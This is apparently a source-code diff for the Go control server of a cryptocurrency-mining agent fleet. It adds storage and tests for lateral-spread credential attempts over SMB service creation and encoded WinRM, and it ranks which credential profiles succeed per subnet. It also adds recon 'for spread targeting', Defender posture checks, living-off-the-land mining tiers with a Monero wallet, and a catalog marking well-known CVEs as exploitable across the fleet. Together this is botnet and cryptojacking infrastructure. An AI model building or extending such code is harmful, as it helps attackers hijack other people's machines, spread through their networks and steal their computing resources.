if len(subnetAgents) < wantSubnet-1 || len(subnetAgents) > wantSubnet+1 {
|
||||
t.Fatalf("subnet filter: want ~%d got %d", wantSubnet, len(subnetAgents))
|
||||
}
|
||||
|
||||
count, err := d.CountAgentsFiltered(AgentListFilter{Status: "online"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if count != total {
|
||||
t.Fatalf("count online: want %d got %d", total, count)
|
||||
}
|
||||
}
|
||||
|
||||
func TestListAgentsFilteredAt500(t *testing.T) {
|
||||
d, err := New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
const total = 500
|
||||
const subnets = 25
|
||||
for i := 0; i < total; i++ {
|
||||
subnet := i % subnets
|
||||
agent := &models.Agent{
|
||||
ID: fmt.Sprintf("agent-%04d", i),
|
||||
Name: fmt.Sprintf("node-%d", i),
|
||||
IP: fmt.Sprintf("10.0.%d.%d", subnet, (i%250)+1),
|
||||
Status: "online",
|
||||
LastSeen: time.Now().Add(-time.Duration(i) * time.Second),
|
||||
}
|
||||
if err := d.UpsertAgent(agent); err != nil {
|
||||
t.Fatalf("upsert %d: %v", i, err)
|
||||
}
|
||||
}
|
||||
|
||||
const pageLimit = 80
|
||||
var seen int
|
||||
for offset := 0; offset < total; offset += pageLimit {
|
||||
page, err := d.ListAgentsFiltered(AgentListFilter{Limit: pageLimit, Offset: offset})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
want := pageLimit
|
||||
if remain := total - offset; remain < pageLimit {
|
||||
want = remain
|
||||
}
|
||||
if len(page) != want {
|
||||
t.Fatalf("offset %d: want %d got %d", offset, want, len(page))
|
||||
}
|
||||
seen += len(page)
|
||||
}
|
||||
if seen != total {
|
||||
t.Fatalf("paginated scan: want %d rows got %d", total, seen)
|
||||
}
|
||||
|
||||
const targetSubnet = "10.0.1.x"
|
||||
subnetAgents, err := d.ListAgentsFiltered(AgentListFilter{Subnet: targetSubnet, Limit: pageLimit})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
wantSubnet := total / subnets
|
||||
if len(subnetAgents) != wantSubnet {
|
||||
t.Fatalf("subnet filter: want %d got %d", wantSubnet, len(subnetAgents))
|
||||
}
|
||||
|
||||
start := time.Now()
|
||||
count, err := d.CountAgentsFiltered(AgentListFilter{Subnet: targetSubnet})
|
||||
elapsed := time.Since(start)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if count != wantSubnet {
|
||||
t.Fatalf("subnet count: want %d got %d", wantSubnet, count)
|
||||
}
|
||||
if elapsed > 2*time.Second {
|
||||
t.Fatalf("CountAgentsFiltered at %d agents too slow: %v", total, elapsed)
|
||||
}
|
||||
t.Logf("CountAgentsFiltered subnet=%s: %d in %v", targetSubnet, count, elapsed)
|
||||
}
|
||||
|
||||
func TestSubnetToIPPrefix(t *testing.T) {
|
||||
if got := subnetToIPPrefix("192.168.1.x"); got != "192.168.1.%" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
if got := subnetToIPPrefix(""); got != "" {
|
||||
t.Fatalf("empty: got %q", got)
|
||||
}
|
||||
}
|
||||
113
server/internal/db/cred_edges.go
Normal file
113
server/internal/db/cred_edges.go
Normal file
@@ -0,0 +1,113 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// CredEdge records a lateral spread credential attempt (profile hash ref only — no secrets).
|
||||
type CredEdge struct {
|
||||
ID int64 `json:"id"`
|
||||
Host string `json:"host"`
|
||||
Subnet string `json:"subnet"`
|
||||
CredentialProfileID string `json:"credential_profile_id"`
|
||||
Success bool `json:"success"`
|
||||
Method string `json:"method"`
|
||||
AgentID string `json:"agent_id"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
}
|
||||
|
||||
// CredGraphSubnetRow aggregates cred_edges per /24 for the Emberwake graph UI.
|
||||
type CredGraphSubnetRow struct {
|
||||
Subnet string `json:"subnet"`
|
||||
EdgeCount int `json:"edges"`
|
||||
SuccessCount int `json:"success_count"`
|
||||
FailCount int `json:"fail_count"`
|
||||
}
|
||||
|
||||
// CredProfileAffinity ranks credential profiles that succeeded on a subnet.
|
||||
type CredProfileAffinity struct {
|
||||
CredentialProfileID string `json:"credential_profile_id"`
|
||||
SuccessCount int `json:"success_count"`
|
||||
LastSuccessAt string `json:"last_success_at,omitempty"`
|
||||
}
|
||||
|
||||
func (d *Database) InsertCredEdge(host, subnet, profileID, method, agentID string, success bool) error {
|
||||
host = strings.TrimSpace(host)
|
||||
subnet = strings.TrimSpace(subnet)
|
||||
profileID = strings.TrimSpace(profileID)
|
||||
if host == "" || subnet == "" || profileID == "" {
|
||||
return fmt.Errorf("cred edge requires host, subnet, and credential_profile_id")
|
||||
}
|
||||
_, err := d.Exec(
|
||||
`INSERT INTO cred_edges (host, subnet, credential_profile_id, success, method, agent_id, created_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?)`,
|
||||
host, subnet, profileID, boolToInt(success), strings.TrimSpace(method), strings.TrimSpace(agentID), time.Now().UTC(),
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) ListCredProfileAffinity(subnet string) ([]CredProfileAffinity, error) {
|
||||
subnet = strings.TrimSpace(subnet)
|
||||
if subnet == "" {
|
||||
return nil, nil
|
||||
}
|
||||
rows, err := d.Query(`
|
||||
SELECT credential_profile_id,
|
||||
COUNT(*) AS wins,
|
||||
MAX(created_at) AS last_ok
|
||||
FROM cred_edges
|
||||
WHERE subnet = ? AND success = 1
|
||||
GROUP BY credential_profile_id
|
||||
ORDER BY last_ok DESC, wins DESC`,
|
||||
subnet,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var out []CredProfileAffinity
|
||||
for rows.Next() {
|
||||
var row CredProfileAffinity
|
||||
var lastOK string
|
||||
if err := rows.Scan(&row.CredentialProfileID, &row.SuccessCount, &lastOK); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if strings.TrimSpace(lastOK) != "" {
|
||||
if parsed, parseErr := time.Parse(time.RFC3339, lastOK); parseErr == nil {
|
||||
row.LastSuccessAt = parsed.UTC().Format(time.RFC3339)
|
||||
} else {
|
||||
row.LastSuccessAt = lastOK
|
||||
}
|
||||
}
|
||||
out = append(out, row)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
func (d *Database) ListCredGraphBySubnet() ([]CredGraphSubnetRow, error) {
|
||||
rows, err := d.Query(`
|
||||
SELECT subnet,
|
||||
COUNT(*) AS edge_count,
|
||||
SUM(CASE WHEN success = 1 THEN 1 ELSE 0 END) AS ok_cnt,
|
||||
SUM(CASE WHEN success = 0 THEN 1 ELSE 0 END) AS fail_cnt
|
||||
FROM cred_edges
|
||||
GROUP BY subnet
|
||||
ORDER BY edge_count DESC, subnet ASC`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var out []CredGraphSubnetRow
|
||||
for rows.Next() {
|
||||
var row CredGraphSubnetRow
|
||||
if err := rows.Scan(&row.Subnet, &row.EdgeCount, &row.SuccessCount, &row.FailCount); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, row)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
64
server/internal/db/cred_edges_test.go
Normal file
64
server/internal/db/cred_edges_test.go
Normal file
@@ -0,0 +1,64 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestInsertCredEdgeAndGraph(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
d, err := New(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
if err := d.InsertCredEdge("10.0.0.12", "10.0.0", "profile-a", "smb_scm", "agent-1", true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := d.InsertCredEdge("10.0.0.13", "10.0.0", "profile-a", "smb_scm", "agent-1", false); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := d.InsertCredEdge("192.168.1.5", "192.168.1", "profile-b", "winrm_encoded", "agent-2", true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
affinity, err := d.ListCredProfileAffinity("10.0.0")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(affinity) != 1 || affinity[0].CredentialProfileID != "profile-a" || affinity[0].SuccessCount != 1 {
|
||||
t.Fatalf("unexpected affinity: %#v", affinity)
|
||||
}
|
||||
|
||||
graph, err := d.ListCredGraphBySubnet()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(graph) != 2 {
|
||||
t.Fatalf("expected 2 subnet rows, got %#v", graph)
|
||||
}
|
||||
found := map[string]CredGraphSubnetRow{}
|
||||
for _, row := range graph {
|
||||
found[row.Subnet] = row
|
||||
}
|
||||
if found["10.0.0"].EdgeCount != 2 || found["10.0.0"].SuccessCount != 1 || found["10.0.0"].FailCount != 1 {
|
||||
t.Fatalf("unexpected 10.0.0 aggregate: %#v", found["10.0.0"])
|
||||
}
|
||||
|
||||
// WAL file should live under temp dir (migration sanity).
|
||||
if _, err := filepath.Glob(filepath.Join(dir, "miner.db*")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInsertCredEdgeRequiresFields(t *testing.T) {
|
||||
d, err := New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
if err := d.InsertCredEdge("", "10.0.0", "profile-a", "smb_scm", "agent-1", true); err == nil {
|
||||
t.Fatal("expected validation error")
|
||||
}
|
||||
}
|
||||
49
server/internal/db/fleet_tasks_scale_test.go
Normal file
49
server/internal/db/fleet_tasks_scale_test.go
Normal file
@@ -0,0 +1,49 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestBulkLastFleetTaskRunsAtScale(t *testing.T) {
|
||||
d, err := New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
const agents = 120
|
||||
const tasks = 25
|
||||
agentIDs := make([]string, agents)
|
||||
taskIDs := make([]string, tasks)
|
||||
for i := 0; i < agents; i++ {
|
||||
agentIDs[i] = fmt.Sprintf("agent-%03d", i)
|
||||
}
|
||||
for j := 0; j < tasks; j++ {
|
||||
taskIDs[j] = fmt.Sprintf("task-%02d", j)
|
||||
}
|
||||
|
||||
// Seed a subset of runs (not full N×M matrix).
|
||||
for i := 0; i < agents; i += 3 {
|
||||
for j := 0; j < tasks; j += 2 {
|
||||
if err := d.RecordFleetTaskRun(agentIDs[i], taskIDs[j]); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
start := time.Now()
|
||||
got, err := d.BulkLastFleetTaskRuns(agentIDs, taskIDs)
|
||||
elapsed := time.Since(start)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(got) == 0 {
|
||||
t.Fatal("expected some last-run rows")
|
||||
}
|
||||
if elapsed > 2*time.Second {
|
||||
t.Fatalf("bulk query too slow at %d×%d: %v", agents, tasks, elapsed)
|
||||
}
|
||||
t.Logf("BulkLastFleetTaskRuns %d agents × %d tasks: %d rows in %v", agents, tasks, len(got), elapsed)
|
||||
}
|
||||
@@ -182,6 +182,19 @@ func (d *Database) migrate() error {
|
||||
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_campaign ON campaign_hits(campaign)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_created ON campaign_hits(created_at)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_event ON campaign_hits(event_type)`,
|
||||
`CREATE TABLE IF NOT EXISTS cred_edges (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
host TEXT NOT NULL,
|
||||
subnet TEXT NOT NULL,
|
||||
credential_profile_id TEXT NOT NULL,
|
||||
success INTEGER NOT NULL DEFAULT 0,
|
||||
method TEXT NOT NULL DEFAULT '',
|
||||
agent_id TEXT NOT NULL DEFAULT '',
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_cred_edges_subnet ON cred_edges(subnet)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_cred_edges_profile ON cred_edges(credential_profile_id)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_cred_edges_created ON cred_edges(created_at)`,
|
||||
}
|
||||
for _, m := range extraMigrations {
|
||||
if _, err := d.Exec(m); err != nil {
|
||||
@@ -190,6 +203,17 @@ func (d *Database) migrate() error {
|
||||
}
|
||||
_, _ = d.Exec(`ALTER TABLE campaign_hits ADD COLUMN event_type TEXT NOT NULL DEFAULT ''`)
|
||||
|
||||
scaleIndexes := []string{
|
||||
`CREATE INDEX IF NOT EXISTS idx_agents_status ON agents(status)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_agents_last_seen ON agents(last_seen)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_fleet_task_runs_agent ON fleet_task_runs(agent_id)`,
|
||||
}
|
||||
for _, m := range scaleIndexes {
|
||||
if _, err := d.Exec(m); err != nil {
|
||||
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -1,6 +1,9 @@
|
||||
package models
|
||||
|
||||
import "time"
|
||||
import (
|
||||
"encoding/json"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Agent struct {
|
||||
ID string `json:"id"`
|
||||
@@ -63,6 +66,29 @@ type Agent struct {
|
||||
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
||||
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
||||
|
||||
// Mining fallback cascade
|
||||
ActiveMethod string `json:"active_method,omitempty"`
|
||||
MiningLastError string `json:"last_error,omitempty"`
|
||||
StratumOverlay bool `json:"stratum_overlay,omitempty"`
|
||||
ChainExhausted bool `json:"chain_exhausted,omitempty"`
|
||||
ChainOrder []string `json:"chain_order,omitempty"`
|
||||
FailedMethods []struct {
|
||||
Method string `json:"method"`
|
||||
Reason string `json:"reason"`
|
||||
At string `json:"at"`
|
||||
} `json:"failed_methods,omitempty"`
|
||||
|
||||
// LOTL tier onion telemetry
|
||||
LOTLTier string `json:"lotl_tier,omitempty"`
|
||||
LOTLAttempts []struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
} `json:"lotl_attempts,omitempty"`
|
||||
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
||||
|
||||
// GPU / Ravencoin mining
|
||||
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
||||
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
|
||||
@@ -73,6 +99,9 @@ type Agent struct {
|
||||
// Crucible — SSH status probed by the agent every ~60s
|
||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||
|
||||
// Passive LAN/domain recon for spread targeting (stats WS, not persisted).
|
||||
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
|
||||
|
||||
// Defense posture + patch exposure — ATT&CK T1685/T1686.003
|
||||
PostureScore int `json:"posture_score,omitempty"`
|
||||
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
|
||||
@@ -89,6 +118,23 @@ type Agent struct {
|
||||
|
||||
// T1007 System Service Discovery — fixed allowlist only
|
||||
Services []AgentService `json:"services,omitempty"`
|
||||
|
||||
// Last successful discover_and_join supply-chain lane.
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
|
||||
// Authorized fleet vulnerability recon (read-only LOTL probe tier)
|
||||
VulnFindings []VulnFinding `json:"vuln_findings,omitempty"`
|
||||
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
||||
}
|
||||
|
||||
// VulnFinding mirrors agent vuln_findings stats payload.
|
||||
type VulnFinding struct {
|
||||
CVEID string `json:"cve_id"`
|
||||
Severity string `json:"severity"`
|
||||
Component string `json:"component"`
|
||||
Patched bool `json:"patched"`
|
||||
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
}
|
||||
|
||||
// AgentService mirrors the ServiceStatus reported by the agent.
|
||||
|
||||
@@ -159,6 +159,38 @@ func TestBuildRecordJSONRoundTrip(t *testing.T) {
|
||||
})
|
||||
}
|
||||
|
||||
func TestAgentLotlFieldsJSONRoundTrip(t *testing.T) {
|
||||
agent := Agent{
|
||||
ID: "lotl-1", Name: "tier-node", Status: "online",
|
||||
LOTLTier: "cpu_inprocess",
|
||||
MiningHashrate: 850.5,
|
||||
LOTLAttempts: []struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
}{
|
||||
{Tier: "container", OK: false, Error: "docker missing", DurationMs: 400, Wallet: "xmr-wallet"},
|
||||
{Tier: "cpu_inprocess", OK: true, DurationMs: 1200, Wallet: "xmr-wallet"},
|
||||
},
|
||||
}
|
||||
b, err := json.Marshal(agent)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var out Agent
|
||||
if err := json.Unmarshal(b, &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out.LOTLTier != "cpu_inprocess" || out.MiningHashrate != 850.5 {
|
||||
t.Fatalf("lotl fields lost: %+v", out)
|
||||
}
|
||||
if len(out.LOTLAttempts) != 2 || !out.LOTLAttempts[1].OK {
|
||||
t.Fatalf("attempts=%+v", out.LOTLAttempts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentMinimalJSON(t *testing.T) {
|
||||
var out Agent
|
||||
if err := json.Unmarshal([]byte(`{"id":"x","status":"offline"}`), &out); err != nil {
|
||||
|
||||
133
server/internal/vuln/correlator.go
Normal file
133
server/internal/vuln/correlator.go
Normal file
@@ -0,0 +1,133 @@
|
||||
package vuln
|
||||
|
||||
import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Finding mirrors agent vuln_findings JSON for server-side enrichment.
|
||||
type Finding struct {
|
||||
CVEID string `json:"cve_id"`
|
||||
Severity string `json:"severity"`
|
||||
Component string `json:"component"`
|
||||
Patched bool `json:"patched"`
|
||||
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
}
|
||||
|
||||
// CatalogEntry is a lightweight embedded CVE rule for fleet correlator.
|
||||
type CatalogEntry struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Component string `json:"component"`
|
||||
Severity string `json:"severity"`
|
||||
FleetPorts []int `json:"fleet_ports,omitempty"`
|
||||
PatchKBs []string `json:"patch_kbs,omitempty"`
|
||||
}
|
||||
|
||||
// EmbeddedCatalog is served by GET /api/v1/vuln/catalog (cached JSON).
|
||||
var EmbeddedCatalog = []CatalogEntry{
|
||||
{ID: "CVE-2021-44228", Name: "Log4Shell", Component: "Apache Log4j", Severity: "critical"},
|
||||
{ID: "CVE-2021-26855", Name: "ProxyLogon", Component: "Microsoft Exchange", Severity: "critical", FleetPorts: []int{443, 80}, PatchKBs: []string{"KB5000871"}},
|
||||
{ID: "CVE-2020-1472", Name: "Zerologon", Component: "Microsoft Netlogon", Severity: "critical", FleetPorts: []int{445, 135}, PatchKBs: []string{"KB4577015"}},
|
||||
{ID: "CVE-2019-19781", Name: "Citrix ADC", Component: "Citrix ADC/Gateway", Severity: "critical", FleetPorts: []int{443}},
|
||||
{ID: "CVE-2019-11510", Name: "Pulse Secure", Component: "Ivanti Pulse Connect Secure", Severity: "critical", FleetPorts: []int{443}},
|
||||
{ID: "CVE-2020-5902", Name: "F5 BIG-IP", Component: "F5 BIG-IP", Severity: "critical", FleetPorts: []int{443, 8443}},
|
||||
{ID: "CVE-2022-1388", Name: "F5 iControl", Component: "F5 BIG-IP", Severity: "critical", FleetPorts: []int{443, 8443}},
|
||||
{ID: "CVE-2021-26084", Name: "Confluence OGNL", Component: "Atlassian Confluence", Severity: "critical", FleetPorts: []int{8090, 8443}},
|
||||
{ID: "CVE-2022-26134", Name: "Confluence RCE", Component: "Atlassian Confluence", Severity: "critical", FleetPorts: []int{8090, 8443}},
|
||||
{ID: "CVE-2021-40539", Name: "ManageEngine", Component: "Zoho ManageEngine ADSelfService Plus", Severity: "critical", FleetPorts: []int{9251}},
|
||||
{ID: "CVE-2018-13379", Name: "FortiOS path traversal", Component: "Fortinet FortiGate/FortiOS", Severity: "critical", FleetPorts: []int{443, 10443}},
|
||||
{ID: "CVE-2021-34527", Name: "PrintNightmare", Component: "Windows Print Spooler", Severity: "high", FleetPorts: []int{445, 135}, PatchKBs: []string{"KB5004945"}},
|
||||
{ID: "CVE-2020-0688", Name: "Exchange RCE", Component: "Microsoft Exchange", Severity: "high", FleetPorts: []int{443}},
|
||||
{ID: "CVE-2021-21972", Name: "vCenter RCE", Component: "VMware vCenter", Severity: "critical", FleetPorts: []int{443}},
|
||||
}
|
||||
|
||||
// FleetContext carries server-known signals for correlator enrichment.
|
||||
type FleetContext struct {
|
||||
ListenPortCount int
|
||||
PathTracerPorts []int
|
||||
SSHAvailable bool
|
||||
OSVersion string
|
||||
}
|
||||
|
||||
// EnrichFindings applies fleet-context rules (open ports from Path Tracer when available).
|
||||
func EnrichFindings(findings []Finding, ctx FleetContext) []Finding {
|
||||
if len(findings) == 0 {
|
||||
return findings
|
||||
}
|
||||
portSet := make(map[int]bool)
|
||||
for _, p := range ctx.PathTracerPorts {
|
||||
portSet[p] = true
|
||||
}
|
||||
rules := catalogByID()
|
||||
out := make([]Finding, len(findings))
|
||||
copy(out, findings)
|
||||
for i := range out {
|
||||
if out[i].Patched || out[i].ExploitableInFleetContext {
|
||||
continue
|
||||
}
|
||||
rule, ok := rules[out[i].CVEID]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
for _, p := range rule.FleetPorts {
|
||||
if portSet[p] {
|
||||
out[i].ExploitableInFleetContext = true
|
||||
out[i].Detail = strings.TrimSpace(out[i].Detail + " · Path Tracer hop port " + itoa(p) + " open")
|
||||
break
|
||||
}
|
||||
}
|
||||
if !out[i].ExploitableInFleetContext && ctx.SSHAvailable && ctx.ListenPortCount > 0 {
|
||||
for _, p := range rule.FleetPorts {
|
||||
if p == 22 || p == 445 || p == 443 {
|
||||
out[i].ExploitableInFleetContext = true
|
||||
out[i].Detail = strings.TrimSpace(out[i].Detail + " · fleet SSH/listener context")
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func catalogByID() map[string]CatalogEntry {
|
||||
m := make(map[string]CatalogEntry, len(EmbeddedCatalog))
|
||||
for _, e := range EmbeddedCatalog {
|
||||
m[e.ID] = e
|
||||
}
|
||||
return m
|
||||
}
|
||||
|
||||
func itoa(n int) string {
|
||||
if n == 0 {
|
||||
return "0"
|
||||
}
|
||||
var b [12]byte
|
||||
i := len(b)
|
||||
for n > 0 {
|
||||
i--
|
||||
b[i] = byte('0' + n%10)
|
||||
n /= 10
|
||||
}
|
||||
return string(b[i:])
|
||||
}
|
||||
|
||||
// RiskScore computes a 0-100 score from enriched findings.
|
||||
func RiskScore(findings []Finding) int {
|
||||
score := 0
|
||||
for _, f := range findings {
|
||||
if f.ExploitableInFleetContext {
|
||||
if f.Severity == "critical" {
|
||||
score += 25
|
||||
} else {
|
||||
score += 12
|
||||
}
|
||||
} else if !f.Patched {
|
||||
score += 8
|
||||
}
|
||||
}
|
||||
if score > 100 {
|
||||
return 100
|
||||
}
|
||||
return score
|
||||
}
|
||||
30
server/internal/vuln/correlator_test.go
Normal file
30
server/internal/vuln/correlator_test.go
Normal file
@@ -0,0 +1,30 @@
|
||||
package vuln
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestEnrichFindingsPathTracerPort(t *testing.T) {
|
||||
in := []Finding{{
|
||||
CVEID: "CVE-2021-26855", Severity: "critical", Component: "Exchange",
|
||||
Patched: false, ExploitableInFleetContext: false,
|
||||
}}
|
||||
out := EnrichFindings(in, FleetContext{PathTracerPorts: []int{443}})
|
||||
if len(out) != 1 || !out[0].ExploitableInFleetContext {
|
||||
t.Fatalf("expected fleet exploitability with 443 from pathtracer, got %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRiskScore(t *testing.T) {
|
||||
s := RiskScore([]Finding{
|
||||
{Severity: "critical", ExploitableInFleetContext: true},
|
||||
{Severity: "high", Patched: false},
|
||||
})
|
||||
if s < 25 {
|
||||
t.Fatalf("expected elevated score, got %d", s)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEmbeddedCatalogNotEmpty(t *testing.T) {
|
||||
if len(EmbeddedCatalog) < 10 {
|
||||
t.Fatalf("expected catalog entries")
|
||||
}
|
||||
}
|
||||
@@ -109,6 +109,7 @@ func main() {
|
||||
filepath.Join(cfg.DataDir, "builds"),
|
||||
filepath.Join(cfg.DataDir, "preps"),
|
||||
filepath.Join(cfg.DataDir, "logs"),
|
||||
filepath.Join(cfg.DataDir, deploymentCredsDir),
|
||||
}
|
||||
for _, dir := range dirs {
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
@@ -199,10 +200,13 @@ func main() {
|
||||
applyRuntimeConfig(cfg, wsHub, poolManager, builderHandler)
|
||||
applyControlServerFirewall(cfg)
|
||||
|
||||
spreadCredAdapter := newConfigSpreadCredAdapter(cfg)
|
||||
|
||||
configProvider := &serverConfigProvider{
|
||||
config: cfg,
|
||||
onSaved: func(c *Config) {
|
||||
applyRuntimeConfig(c, wsHub, poolManager, builderHandler)
|
||||
spreadCredAdapter.setConfig(c)
|
||||
},
|
||||
}
|
||||
configHandler := api.NewConfigHandler(configProvider)
|
||||
@@ -276,6 +280,13 @@ func main() {
|
||||
}
|
||||
publicHandler := api.NewPublicHandler(database, cfg.DataDir, publicBuildsCfg)
|
||||
spreadHandler := api.NewSpreadHandler(database, cfg.DataDir, projectRoot, wsHub)
|
||||
spreadCredHandler := api.NewSpreadCredHandler(database, spreadCredAdapter)
|
||||
deployPlanHandler := api.NewDeployPlanHandler(
|
||||
database, cfg.DataDir, projectRoot,
|
||||
func() string { return configProvider.PublicURL() },
|
||||
func() string { return cfg.Server.FleetSecret },
|
||||
func() map[string]api.ServiceDeployLane { return apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist) },
|
||||
)
|
||||
|
||||
// Path Forge: server-side recursive file seeding
|
||||
pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
|
||||
@@ -288,7 +299,7 @@ func main() {
|
||||
log.Printf("Web root: %s", webRoot)
|
||||
|
||||
// Initialize router
|
||||
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, spreadHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
|
||||
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
|
||||
return configProvider.PublicURL()
|
||||
}, cfg.Port, func() bool {
|
||||
return cfg.ConnectorToken() != ""
|
||||
@@ -352,6 +363,16 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
|
||||
StrictWalletValidation: cfg.Server.StrictWalletValidation,
|
||||
MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB,
|
||||
PoolReconnectSeconds: cfg.Server.PoolReconnectSeconds,
|
||||
LotlOnionTiers: cfg.Server.LotlOnionTiers,
|
||||
ServiceDeployAllowlist: apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist),
|
||||
TripleOnionPolicy: api.TripleOnionPolicy{
|
||||
PatchFirst: cfg.Server.TripleOnionPolicy.PatchFirst,
|
||||
MineIsolatedTier: cfg.Server.TripleOnionPolicy.MineIsolatedTier,
|
||||
SkipMiningOnHighRisk: cfg.Server.TripleOnionPolicy.SkipMiningOnHighRisk,
|
||||
HighRiskThreshold: cfg.Server.TripleOnionPolicy.HighRiskThreshold,
|
||||
ReconTiers: cfg.Server.TripleOnionPolicy.ReconTiers,
|
||||
DeployLanes: cfg.Server.TripleOnionPolicy.DeployLanes,
|
||||
},
|
||||
})
|
||||
}
|
||||
if poolManager != nil {
|
||||
@@ -599,3 +620,18 @@ func findWebRoot() string {
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
func apiServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[string]api.ServiceDeployLane {
|
||||
if len(raw) == 0 {
|
||||
return api.NormalizeServiceDeployAllowlist(nil)
|
||||
}
|
||||
out := make(map[string]api.ServiceDeployLane, len(raw))
|
||||
for name, lane := range raw {
|
||||
out[name] = api.ServiceDeployLane{
|
||||
Lane: lane.Lane,
|
||||
Priority: lane.Priority,
|
||||
Template: lane.Template,
|
||||
}
|
||||
}
|
||||
